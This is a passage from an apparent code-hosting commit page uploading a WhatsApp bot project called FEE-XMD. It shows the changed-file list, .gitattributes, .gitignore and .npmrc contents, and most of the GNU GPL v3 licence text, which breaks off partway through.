VertiGO-cyber commited on
Commit
248eb11
·
verified ·
1 Parent(s): dba35e2

Upload 179 files

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. .gitattributes +1 -0
  2. FEE-XMD-main/.gitignore +8 -0
  3. FEE-XMD-main/.npmrc +3 -0
  4. FEE-XMD-main/LICENSE +674 -0
  5. FEE-XMD-main/Procfile +1 -0
  6. FEE-XMD-main/README.md +271 -0
  7. FEE-XMD-main/app.json +59 -0
  8. FEE-XMD-main/auth/auth.js +1 -0
  9. FEE-XMD-main/config/settings.js +10 -0
  10. FEE-XMD-main/database/config.js +1 -0
  11. FEE-XMD-main/ecosystem.config.cjs +8 -0
  12. FEE-XMD-main/features/afk.js +40 -0
  13. FEE-XMD-main/features/antiforeign.js +70 -0
  14. FEE-XMD-main/features/antilink.js +116 -0
  15. FEE-XMD-main/features/antistatusmention.js +114 -0
  16. FEE-XMD-main/features/antitag.js +42 -0
  17. FEE-XMD-main/features/antiviewonce.js +83 -0
  18. FEE-XMD-main/features/autoai.js +446 -0
  19. FEE-XMD-main/features/autolike.js +24 -0
  20. FEE-XMD-main/features/blocked_users.js +0 -0
  21. FEE-XMD-main/features/cleanup.js +77 -0
  22. FEE-XMD-main/features/fee +1 -0
  23. FEE-XMD-main/features/frediai.js +557 -0
  24. FEE-XMD-main/features/gcPresence.js +16 -0
  25. FEE-XMD-main/features/status_saver.js +3 -0
  26. FEE-XMD-main/fredi.jpg +3 -0
  27. FEE-XMD-main/handlers/commandHandler.js +1 -0
  28. FEE-XMD-main/handlers/connectionHandler.js +1 -0
  29. FEE-XMD-main/handlers/eventHandler.js +1 -0
  30. FEE-XMD-main/handlers/smsg.js +1 -0
  31. FEE-XMD-main/index.js +0 -0
  32. FEE-XMD-main/keep-alive.js +11 -0
  33. FEE-XMD-main/keys.js +1 -0
  34. FEE-XMD-main/lib/MakeStore.js +116 -0
  35. FEE-XMD-main/lib/MessageStore.js +7 -0
  36. FEE-XMD-main/lib/Store.js +52 -0
  37. FEE-XMD-main/lib/botFunctions.js +307 -0
  38. FEE-XMD-main/lib/data/data.txt +1 -0
  39. FEE-XMD-main/lib/dbBackup.js +4 -0
  40. FEE-XMD-main/lib/deviceMode.js +12 -0
  41. FEE-XMD-main/lib/ephoto.js +39 -0
  42. FEE-XMD-main/lib/exif.js +134 -0
  43. FEE-XMD-main/lib/fakeQuoted.js +21 -0
  44. FEE-XMD-main/lib/fastSettings.js +17 -0
  45. FEE-XMD-main/lib/fee +1 -0
  46. FEE-XMD-main/lib/frediApi.js +237 -0
  47. FEE-XMD-main/lib/groupTimers.js +42 -0
  48. FEE-XMD-main/lib/lidResolver.js +209 -0
  49. FEE-XMD-main/lib/settingsCache.js +87 -0
  50. FEE-XMD-main/lib/toUrl.js +165 -0
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ FEE-XMD-main/fredi.jpg filter=lfs diff=lfs merge=lfs -text
FEE-XMD-main/.gitignore ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ node_modules/
2
+ *.log
3
+ .env
4
+ config.env
5
+ session.json
6
+ creds.json
7
+ .DS_Store
8
+ *.session
FEE-XMD-main/.npmrc ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ optional=true
2
+ prefer-offline=false
3
+ legacy-peer-deps=false
FEE-XMD-main/LICENSE ADDED
@@ -0,0 +1,674 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ GNU GENERAL PUBLIC LICENSE
2
+ Version 3, 29 June 2007
3
+
4
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
5
+ Everyone is permitted to copy and distribute verbatim copies
6
+ of this license document, but changing it is not allowed.
7
+
8
+ Preamble
9
+
10
+ The GNU General Public License is a free, copyleft license for
11
+ software and other kinds of works.
12
+
13
+ The licenses for most software and other practical works are designed
14
+ to take away your freedom to share and change the works. By contrast,
15
+ the GNU General Public License is intended to guarantee your freedom to
16
+ share and change all versions of a program--to make sure it remains free
17
+ software for all its users. We, the Free Software Foundation, use the
18
+ GNU General Public License for most of our software; it applies also to
19
+ any other work released this way by its authors. You can apply it to
20
+ your programs, too.
21
+
22
+ When we speak of free software, we are referring to freedom, not
23
+ price. Our General Public Licenses are designed to make sure that you
24
+ have the freedom to distribute copies of free software (and charge for
25
+ them if you wish), that you receive source code or can get it if you
26
+ want it, that you can change the software or use pieces of it in new
27
+ free programs, and that you know you can do these things.
28
+
29
+ To protect your rights, we need to prevent others from denying you
30
+ these rights or asking you to surrender the rights. Therefore, you have
31
+ certain responsibilities if you distribute copies of the software, or if
32
+ you modify it: responsibilities to respect the freedom of others.
33
+
34
+ For example, if you distribute copies of such a program, whether
35
+ gratis or for a fee, you must pass on to the recipients the same
36
+ freedoms that you received. You must make sure that they, too, receive
37
+ or can get the source code. And you must show them these terms so they
38
+ know their rights.
39
+
40
+ Developers that use the GNU GPL protect your rights with two steps:
41
+ (1) assert copyright on the software, and (2) offer you this License
42
+ giving you legal permission to copy, distribute and/or modify it.
43
+
44
+ For the developers' and authors' protection, the GPL clearly explains
45
+ that there is no warranty for this free software. For both users' and
46
+ authors' sake, the GPL requires that modified versions be marked as
47
+ changed, so that their problems will not be attributed erroneously to
48
+ authors of previous versions.
49
+
50
+ Some devices are designed to deny users access to install or run
51
+ modified versions of the software inside them, although the manufacturer
52
+ can do so. This is fundamentally incompatible with the aim of
53
+ protecting users' freedom to change the software. The systematic
54
+ pattern of such abuse occurs in the area of products for individuals to
55
+ use, which is precisely where it is most unacceptable. Therefore, we
56
+ have designed this version of the GPL to prohibit the practice for those
57
+ products. If such problems arise substantially in other domains, we
58
+ stand ready to extend this provision to those domains in future versions
59
+ of the GPL, as needed to protect the freedom of users.
60
+
61
+ Finally, every program is threatened constantly by software patents.
62
+ States should not allow patents to restrict development and use of
63
+ software on general-purpose computers, but in those that do, we wish to
64
+ avoid the special danger that patents applied to a free program could
65
+ make it effectively proprietary. To prevent this, the GPL assures that
66
+ patents cannot be used to render the program non-free.
67
+
68
+ The precise terms and conditions for copying, distribution and
69
+ modification follow.
70
+
71
+ TERMS AND CONDITIONS
72
+
73
+ 0. Definitions.
74
+
75
+ "This License" refers to version 3 of the GNU General Public License.
76
+
77
+ "Copyright" also means copyright-like laws that apply to other kinds of
78
+ works, such as semiconductor masks.
79
+
80
+ "The Program" refers to any copyrightable work licensed under this
81
+ License. Each licensee is addressed as "you". "Licensees" and
82
+ "recipients" may be individuals or organizations.
83
+
84
+ To "modify" a work means to copy from or adapt all or part of the work
85
+ in a fashion requiring copyright permission, other than the making of an
86
+ exact copy. The resulting work is called a "modified version" of the
87
+ earlier work or a work "based on" the earlier work.
88
+
89
+ A "covered work" means either the unmodified Program or a work based
90
+ on the Program.
91
+
92
+ To "propagate" a work means to do anything with it that, without
93
+ permission, would make you directly or secondarily liable for
94
+ infringement under applicable copyright law, except executing it on a
95
+ computer or modifying a private copy. Propagation includes copying,
96
+ distribution (with or without modification), making available to the
97
+ public, and in some countries other activities as well.
98
+
99
+ To "convey" a work means any kind of propagation that enables other
100
+ parties to make or receive copies. Mere interaction with a user through
101
+ a computer network, with no transfer of a copy, is not conveying.
102
+
103
+ An interactive user interface displays "Appropriate Legal Notices"
104
+ to the extent that it includes a convenient and prominently visible
105
+ feature that (1) displays an appropriate copyright notice, and (2)
106
+ tells the user that there is no warranty for the work (except to the
107
+ extent that warranties are provided), that licensees may convey the
108
+ work under this License, and how to view a copy of this License. If
109
+ the interface presents a list of user commands or options, such as a
110
+ menu, a prominent item in the list meets this criterion.
111
+
112
+ 1. Source Code.
113
+
114
+ The "source code" for a work means the preferred form of the work
115
+ for making modifications to it. "Object code" means any non-source
116
+ form of a work.
117
+
118
+ A "Standard Interface" means an interface that either is an official
119
+ standard defined by a recognized standards body, or, in the case of
120
+ interfaces specified for a particular programming language, one that
121
+ is widely used among developers working in that language.
122
+
123
+ The "System Libraries" of an executable work include anything, other
124
+ than the work as a whole, that (a) is included in the normal form of
125
+ packaging a Major Component, but which is not part of that Major
126
+ Component, and (b) serves only to enable use of the work with that
127
+ Major Component, or to implement a Standard Interface for which an
128
+ implementation is available to the public in source code form. A
129
+ "Major Component", in this context, means a major essential component
130
+ (kernel, window system, and so on) of the specific operating system
131
+ (if any) on which the executable work runs, or a compiler used to
132
+ produce the work, or an object code interpreter used to run it.
133
+
134
+ The "Corresponding Source" for a work in object code form means all
135
+ the source code needed to generate, install, and (for an executable
136
+ work) run the object code and to modify the work, including scripts to
137
+ control those activities. However, it does not include the work's
138
+ System Libraries, or general-purpose tools or generally available free
139
+ programs which are used unmodified in performing those activities but
140
+ which are not part of the work. For example, Corresponding Source
141
+ includes interface definition files associated with source files for
142
+ the work, and the source code for shared libraries and dynamically
143
+ linked subprograms that the work is specifically designed to require,
144
+ such as by intimate data communication or control flow between those
145
+ subprograms and other parts of the work.
146
+
147
+ The Corresponding Source need not include anything that users
148
+ can regenerate automatically from other parts of the Corresponding
149
+ Source.
150
+
151
+ The Corresponding Source for a work in source code form is that
152
+ same work.
153
+
154
+ 2. Basic Permissions.
155
+
156
+ All rights granted under this License are granted for the term of
157
+ copyright on the Program, and are irrevocable provided the stated
158
+ conditions are met. This License explicitly affirms your unlimited
159
+ permission to run the unmodified Program. The output from running a
160
+ covered work is covered by this License only if the output, given its
161
+ content, constitutes a covered work. This License acknowledges your
162
+ rights of fair use or other equivalent, as provided by copyright law.
163
+
164
+ You may make, run and propagate covered works that you do not
165
+ convey, without conditions so long as your license otherwise remains
166
+ in force. You may convey covered works to others for the sole purpose
167
+ of having them make modifications exclusively for you, or provide you
168
+ with facilities for running those works, provided that you comply with
169
+ the terms of this License in conveying all material for which you do
170
+ not control copyright. Those thus making or running the covered works
171
+ for you must do so exclusively on your behalf, under your direction
172
+ and control, on terms that prohibit them from making any copies of
173
+ your copyrighted material outside their relationship with you.
174
+
175
+ Conveying under any other circumstances is permitted solely under
176
+ the conditions stated below. Sublicensing is not allowed; section 10
177
+ makes it unnecessary.
178
+
179
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180
+
181
+ No covered work shall be deemed part of an effective technological
182
+ measure under any applicable law fulfilling obligations under article
183
+ 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184
+ similar laws prohibiting or restricting circumvention of such
185
+ measures.
186
+
187
+ When you convey a covered work, you waive any legal power to forbid
188
+ circumvention of technological measures to the extent such circumvention
189
+ is effected by exercising rights under this License with respect to
190
+ the covered work, and you disclaim any intention to limit operation or
191
+ modification of the work as a means of enforcing, against the work's
192
+ users, your or third parties' legal rights to forbid circumvention of
193
+ technological measures.
194
+
195
+ 4. Conveying Verbatim Copies.
196
+
197
+ You may convey verbatim copies of the Program's source code as you
198
+ receive it, in any medium, provided that you conspicuously and
199
+ appropriately publish on each copy an appropriate copyright notice;
200
+ keep intact all notices stating that this License and any
201
+ non-permissive terms added in accord with section 7 apply to the code;
202
+ keep intact all notices of the absence of any warranty; and give all
203
+ recipients a copy of this License along with the Program.
204
+
205
+ You may charge any price or no price for each copy that you convey,
206
+ and you may offer support or warranty protection for a fee.
207
+
208
+ 5. Conveying Modified Source Versions.
209
+
210
+ You may convey a work based on the Program, or the modifications to
211
+ produce it from the Program, in the form of source code under the
212
+ terms of section 4, provided that you also meet all of these conditions:
213
+
214
+ a) The work must carry prominent notices stating that you modified
215
+ it, and giving a relevant date.
216
+
217
+ b) The work must carry prominent notices stating that it is
218
+ released under this License and any conditions added under section
219
+ 7. This requirement modifies the requirement in section 4 to
220
+ "keep intact all notices".
221
+
222
+ c) You must license the entire work, as a whole, under this
223
+ License to anyone who comes into possession of a copy. This
224
+ License will therefore apply, along with any applicable section 7
225
+ additional terms, to the whole of the work, and all its parts,
226
+ regardless of how they are packaged. This License gives no
227
+ permission to license the work in any other way, but it does not
228
+ invalidate such permission if you have separately received it.
229
+
230
+ d) If the work has interactive user interfaces, each must display
231
+ Appropriate Legal Notices; however, if the Program has interactive
232
+ interfaces that do not display Appropriate Legal Notices, your
233
+ work need not make them do so.
234
+
235
+ A compilation of a covered work with other separate and independent
236
+ works, which are not by their nature extensions of the covered work,
237
+ and which are not combined with it such as to form a larger program,
238
+ in or on a volume of a storage or distribution medium, is called an
239
+ "aggregate" if the compilation and its resulting copyright are not
240
+ used to limit the access or legal rights of the compilation's users
241
+ beyond what the individual works permit. Inclusion of a covered work
242
+ in an aggregate does not cause this License to apply to the other
243
+ parts of the aggregate.
244
+
245
+ 6. Conveying Non-Source Forms.
246
+
247
+ You may convey a covered work in object code form under the terms
248
+ of sections 4 and 5, provided that you also convey the
249
+ machine-readable Corresponding Source under the terms of this License,
250
+ in one of these ways:
251
+
252
+ a) Convey the object code in, or embodied in, a physical product
253
+ (including a physical distribution medium), accompanied by the
254
+ Corresponding Source fixed on a durable physical medium
255
+ customarily used for software interchange.
256
+
257
+ b) Convey the object code in, or embodied in, a physical product
258
+ (including a physical distribution medium), accompanied by a
259
+ written offer, valid for at least three years and valid for as
260
+ long as you offer spare parts or customer support for that product
261
+ model, to give anyone who possesses the object code either (1) a
262
+ copy of the Corresponding Source for all the software in the
263
+ product that is covered by this License, on a durable physical
264
+ medium customarily used for software interchange, for a price no
265
+ more than your reasonable cost of physically performing this
266
+ conveying of source, or (2) access to copy the
267
+ Corresponding Source from a network server at no charge.
268
+
269
+ c) Convey individual copies of the object code with a copy of the
270
+ written offer to provide the Corresponding Source. This
271
+ alternative is allowed only occasionally and noncommercially, and
272
+ only if you received the object code with such an offer, in accord
273
+ with subsection 6b.
274
+
275
+ d) Convey the object code by offering access from a designated
276
+ place (gratis or for a charge), and offer equivalent access to the
277
+ Corresponding Source in the same way through the same place at no
278
+ further charge. You need not require recipients to copy the
279
+ Corresponding Source along with the object code. If the place to
280
+ copy the object code is a network server, the Corresponding Source
281
+ may be on a different server (operated by you or a third party)
282
+ that supports equivalent copying facilities, provided you maintain
283
+ clear directions next to the object code saying where to find the
284
+ Corresponding Source. Regardless of what server hosts the
285
+ Corresponding Source, you remain obligated to ensure that it is
286
+ available for as long as needed to satisfy these requirements.
287
+
288
+ e) Convey the object code using peer-to-peer transmission, provided
289
+ you inform other peers where the object code and Corresponding
290
+ Source of the work are being offered to the general public at no
291
+ charge under subsection 6d.
292
+
293
+ A separable portion of the object code, whose source code is excluded
294
+ from the Corresponding Source as a System Library, need not be
295
+ included in conveying the object code work.
296
+
297
+ A "User Product" is either (1) a "consumer product", which means any
298
+ tangible personal property which is normally used for personal, family,
299
+ or household purposes, or (2) anything designed or sold for incorporation
300
+ into a dwelling. In determining whether a product is a consumer product,
301
+ doubtful cases shall be resolved in favor of coverage. For a particular
302
+ product received by a particular user, "normally used" refers to a
303
+ typical or common use of that class of product, regardless of the status
304
+ of the particular user or of the way in which the particular user
305
+ actually uses, or expects or is expected to use, the product. A product
306
+ is a consumer product regardless of whether the product has substantial
307
+ commercial, industrial or non-consumer uses, unless such uses represent
308
+ the only significant mode of use of the product.
309
+
310
+ "Installation Information" for a User Product means any methods,
311
+ procedures, authorization keys, or other information required to install
312
+ and execute modified versions of a covered work in that User Product from
313
+ a modified version of its Corresponding Source. The information must
314
+ suffice to ensure that the continued functioning of the modified object
315
+ code is in no case prevented or interfered with solely because
316
+ modification has been made.
317
+
318
+ If you convey an object code work under this section in, or with, or
319
+ specifically for use in, a User Product, and the conveying occurs as
320
+ part of a transaction in which the right of possession and use of the
321
+ User Product is transferred to the recipient in perpetuity or for a
322
+ fixed term (regardless of how the transaction is characterized), the
323
+ Corresponding Source conveyed under this section must be accompanied
324
+ by the Installation Information. But this requirement does not apply
325
+ if neither you nor any third party retains the ability to install
326
+ modified object code on the User Product (for example, the work has
327
+ been installed in ROM).
328
+
329
+ The requirement to provide Installation Information does not include a
330
+ requirement to continue to provide support service, warranty, or updates
331
+ for a work that has been modified or installed by the recipient, or for
332
+ the User Product in which it has been modified or installed. Access to a
333
+ network may be denied when the modification itself materially and
334
+ adversely affects the operation of the network or violates the rules and
335
+ protocols for communication across the network.
336
+
337
+ Corresponding Source conveyed, and Installation Information provided,
338
+ in accord with this section must be in a format that is publicly
339
+ documented (and with an implementation available to the public in
340
+ source code form), and must require no special password or key for
341
+ unpacking, reading or copying.
342
+
343
+ 7. Additional Terms.
344
+
345
+ "Additional permissions" are terms that supplement the terms of this
346
+ License by making exceptions from one or more of its conditions.
347
+ Additional permissions that are applicable to the entire Program shall
348
+ be treated as though they were included in this License, to the extent
349
+ that they are valid under applicable law. If additional permissions
350
+ apply only to part of the Program, that part may be used separately
351
+ under those permissions, but the entire Program remains governed by
352
+ this License without regard to the additional permissions.
353
+
354
+ When you convey a copy of a covered work, you may at your option
355
+ remove any additional permissions from that copy, or from any part of
356
+ it. (Additional permissions may be written to require their own
357
+ removal in certain cases when you modify the work.) You may place
358
+ additional permissions on material, added by you to a covered work,
359
+ for which you have or can give appropriate copyright permission.
360
+
361
+ Notwithstanding any other provision of this License, for material you
362
+ add to a covered work, you may (if authorized by the copyright holders of
363
+ that material) supplement the terms of this License with terms:
364
+
365
+ a) Disclaiming warranty or limiting liability differently from the
366
+ terms of sections 15 and 16 of this License; or
367
+
368
+ b) Requiring preservation of specified reasonable legal notices or
369
+ author attributions in that material or in the Appropriate Legal
370
+ Notices displayed by works containing it; or
371
+
372
+ c) Prohibiting misrepresentation of the origin of that material, or
373
+ requiring that modified versions of such material be marked in
374
+ reasonable ways as different from the original version; or
375
+
376
+ d) Limiting the use for publicity purposes of names of licensors or
377
+ authors of the material; or
378
+
379
+ e) Declining to grant rights under trademark law for use of some
380
+ trade names, trademarks, or service marks; or
381
+
382
+ f) Requiring indemnification of licensors and authors of that
383
+ material by anyone who conveys the material (or modified versions of
384
+ it) with contractual assumptions of liability to the recipient, for
385
+ any liability that these contractual assumptions directly impose on
386
+ those licensors and authors.
387
+
388
+ All other non-permissive additional terms are considered "further
389
+ restrictions" within the meaning of section 10. If the Program as you
390
+ received it, or any part of it, contains a notice stating that it is
391
+ governed by this License along with a term that is a further
392
+ restriction, you may remove that term. If a license document contains
393
+ a further restriction but permits relicensing or conveying under this
394
+ License, you may add to a covered work material governed by the terms
395
+ of that license document, provided that the further restriction does
396
+ not survive such relicensing or conveying.
397
+
398
+ If you add terms to a covered work in accord with this section, you
399
+ must place, in the relevant source files, a statement of the
400
+ additional terms that apply to those files, or a notice indicating
401
+ where to find the applicable terms.
402
+
403
+ Additional terms, permissive or non-permissive, may be stated in the
404
+ form of a separately written license, or stated as exceptions;
405
+ the above requirements apply either way.
406
+
407
+ 8. Termination.
408
+
409
+ You may not propagate or modify a covered work except as expressly
410
+ provided under this License. Any attempt otherwise to propagate or
411
+ modify it is void, and will automatically terminate your rights under
412
+ this License (including any patent licenses granted under the third
413
+ paragraph of section 11).
414
+
415
+ However, if you cease all violation of this License, then your
416
+ license from a particular copyright holder is reinstated (a)
417
+ provisionally, unless and until the copyright holder explicitly and
418
+ finally terminates your license, and (b) permanently, if the copyright
419
+ holder fails to notify you of the violation by some reasonable means
420
+ prior to 60 days after the cessation.
421
+
422
+ Moreover, your license from a particular copyright holder is
423
+ reinstated permanently if the copyright holder notifies you of the
424
+ violation by some reasonable means, this is the first time you have
425
+ received notice of violation of this License (for any work) from that
426
+ copyright holder, and you cure the violation prior to 30 days after
427
+ your receipt of the notice.
428
+
429
+ Termination of your rights under this section does not terminate the
430
+ licenses of parties who have received copies or rights from you under
431
+ this License. If your rights have been terminated and not permanently
432
+ reinstated, you do not qualify to receive new licenses for the same
433
+ material under section 10.
434
+
435
+ 9. Acceptance Not Required for Having Copies.
436
+
437
+ You are not required to accept this License in order to receive or
438
+ run a copy of the Program. Ancillary propagation of a covered work
439
+ occurring solely as a consequence of using peer-to-peer transmission
440
+ to receive a copy likewise does not require acceptance. However,
441
+ nothing other than this License grants you permission to propagate or
442
+ modify any covered work. These actions infringe copyright if you do
443
+ not accept this License. Therefore, by modifying or propagating a
444
+ covered work, you indicate your acceptance of this License to do so.
445
+
446
+ 10. Automatic Licensing of Downstream Recipients.
447
+
448
+ Each time you convey a covered work, the recipient automatically
449
+ receives a license from the original licensors, to run, modify and
450
+ propagate that work, subject to this License. You are not responsible
451
+ for enforcing compliance by third parties with this License.
452
+
453
+ An "entity transaction" is a transaction transferring control of an
454
+ organization, or substantially all assets of one, or subdividing an
455
+ organization, or merging organizations. If propagation of a covered
456
+ work results from an entity transaction, each party to that
457
+ transaction who receives a copy of the work also receives whatever
458
+ licenses to the work the party's predecessor in interest had or could
459
+ give under the previous paragraph, plus a right to possession of the
460
+ Corresponding Source of the work from the predecessor in interest, if
461
+ the predecessor has it or can get it with reasonable efforts.
462
+
463
+ You may not impose any further restrictions on the exercise of the
464
+ rights granted or affirmed under this License. For example, you may
465
+ not impose a license fee, royalty, or other charge for exercise of
466
+ rights granted under this License, and you may not initiate litigation
467
+ (including a cross-claim or counterclaim in a lawsuit) alleging that
468
+ any patent claim is infringed by making, using, selling, offering for
469
+ sale, or importing the Program or any portion of it.
470
+
471
+ 11. Patents.
472
+
473
+ A "contributor" is a copyright holder who authorizes use under this
474
+ License of the Program or a work on which the Program is based. The
475
+ work thus licensed is called the contributor's "contributor version".
476
+
477
+ A contributor's "essential patent claims" are all patent claims
478
+ owned or controlled by the contributor, whether already acquired or
479
+ hereafter acquired, that would be infringed by some manner, permitted
480
+ by this License, of making, using, or selling its contributor version,
481
+ but do not include claims that would be infringed only as a
482
+ consequence of further modification of the contributor version. For
483
+ purposes of this definition, "control" includes the right to grant
484
+ patent sublicenses in a manner consistent with the requirements of
485
+ this License.
486
+
487
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
488
+ patent license under the contributor's essential patent claims, to
489
+ make, use, sell, offer for sale, import and otherwise run, modify and
490
+ propagate the contents of its contributor version.
491
+
492
+ In the following three paragraphs, a "patent license" is any express
493
+ agreement or commitment, however denominated, not to enforce a patent
494
+ (such as an express permission to practice a patent or covenant not to
495
+ sue for patent infringement). To "grant" such a patent license to a
496
+ party means to make such an agreement or commitment not to enforce a
497
+ patent against the party.
498
+
499
+ If you convey a covered work, knowingly relying on a patent license,
500
+ and the Corresponding Source of the work is not available for anyone
501
+ to copy, free of charge and under the terms of this License, through a
502
+ publicly available network server or other readily accessible means,
503
+ then you must either (1) cause the Corresponding Source to be so
504
+ available, or (2) arrange to deprive yourself of the benefit of the
505
+ patent license for this particular work, or (3) arrange, in a manner
506
+ consistent with the requirements of this License, to extend the patent
507
+ license to downstream recipients. "Knowingly relying" means you have
508
+ actual knowledge that, but for the patent license, your conveying the
509
+ covered work in a country, or your recipient's use of the covered work
510
+ in a country, would infringe one or more identifiable patents in that
511
+ country that you have reason to believe are valid.
512
+
513
+ If, pursuant to or in connection with a single transaction or
514
+ arrangement, you convey, or propagate by procuring conveyance of, a
515
+ covered work, and grant a patent license to some of the parties
516
+ receiving the covered work authorizing them to use, propagate, modify
517
+ or convey a specific copy of the covered work, then the patent license
518
+ you grant is automatically extended to all recipients of the covered
519
+ work and works based on it.
520
+
521
+ A patent license is "discriminatory" if it does not include within
522
+ the scope of its coverage, prohibits the exercise of, or is
523
+ conditioned on the non-exercise of one or more of the rights that are
524
+ specifically granted under this License. You may not convey a covered
525
+ work if you are a party to an arrangement with a third party that is
526
+ in the business of distributing software, under which you make payment
527
+ to the third party based on the extent of your activity of conveying
528
+ the work, and under which the third party grants, to any of the
529
+ parties who would receive the covered work from you, a discriminatory
530
+ patent license (a) in connection with copies of the covered work
531
+ conveyed by you (or copies made from those copies), or (b) primarily
532
+ for and in connection with specific products or compilations that
533
+ contain the covered work, unless you entered into that arrangement,
534
+ or that patent license was granted, prior to 28 March 2007.
535
+
536
+ Nothing in this License shall be construed as excluding or limiting
537
+ any implied license or other defenses to infringement that may
538
+ otherwise be available to you under applicable patent law.
539
+
540
+ 12. No Surrender of Others' Freedom.
541
+
542
+ If conditions are imposed on you (whether by court order, agreement or
543
+ otherwise) that contradict the conditions of this License, they do not
544
+ excuse you from the conditions of this License. If you cannot convey a
545
+ covered work so as to satisfy simultaneously your obligations under this
546
+ License and any other pertinent obligations, then as a consequence you may
547
+ not convey it at all. For example, if you agree to terms that obligate you
548
+ to collect a royalty for further conveying from those to whom you convey
549
+ the Program, the only way you could satisfy both those terms and this
550
+ License would be to refrain entirely from conveying the Program.
551
+
552
+ 13. Use with the GNU Affero General Public License.
553
+
554
+ Notwithstanding any other provision of this License, you have
555
+ permission to link or combine any covered work with a work licensed
556
+ under version 3 of the GNU Affero General Public License into a single
557
+ combined work, and to convey the resulting work. The terms of this
558
+ License will continue to apply to the part which is the covered work,
559
+ but the special requirements of the GNU Affero General Public License,
560
+ section 13, concerning interaction through a network will apply to the
561
+ combination as such.
562
+
563
+ 14. Revised Versions of this License.
564
+
565
+ The Free Software Foundation may publish revised and/or new versions of
566
+ the GNU General Public License from time to time. Such new versions will
567
+ be similar in spirit to the present version, but may differ in detail to
568
+ address new problems or concerns.
569
+
570
+ Each version is given a distinguishing version number. If the
571
+ Program specifies that a certain numbered version of the GNU General
572
+ Public License "or any later version" applies to it, you have the
573
+ option of following the terms and conditions either of that numbered
574
+ version or of any later version published by the Free Software
575
+ Foundation. If the Program does not specify a version number of the
576
+ GNU General Public License, you may choose any version ever published
577
+ by the Free Software Foundation.
578
+
579
+ If the Program specifies that a proxy can decide which future
580
+ versions of the GNU General Public License can be used, that proxy's
581
+ public statement of acceptance of a version permanently authorizes you
582
+ to choose that version for the Program.
583
+
584
+ Later license versions may give you additional or different
585
+ permissions. However, no additional obligations are imposed on any
586
+ author or copyright holder as a result of your choosing to follow a
587
+ later version.
588
+
589
+ 15. Disclaimer of Warranty.
590
+
591
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592
+ APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593
+ HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594
+ OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595
+ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596
+ PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597
+ IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598
+ ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599
+
600
+ 16. Limitation of Liability.
601
+
602
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603
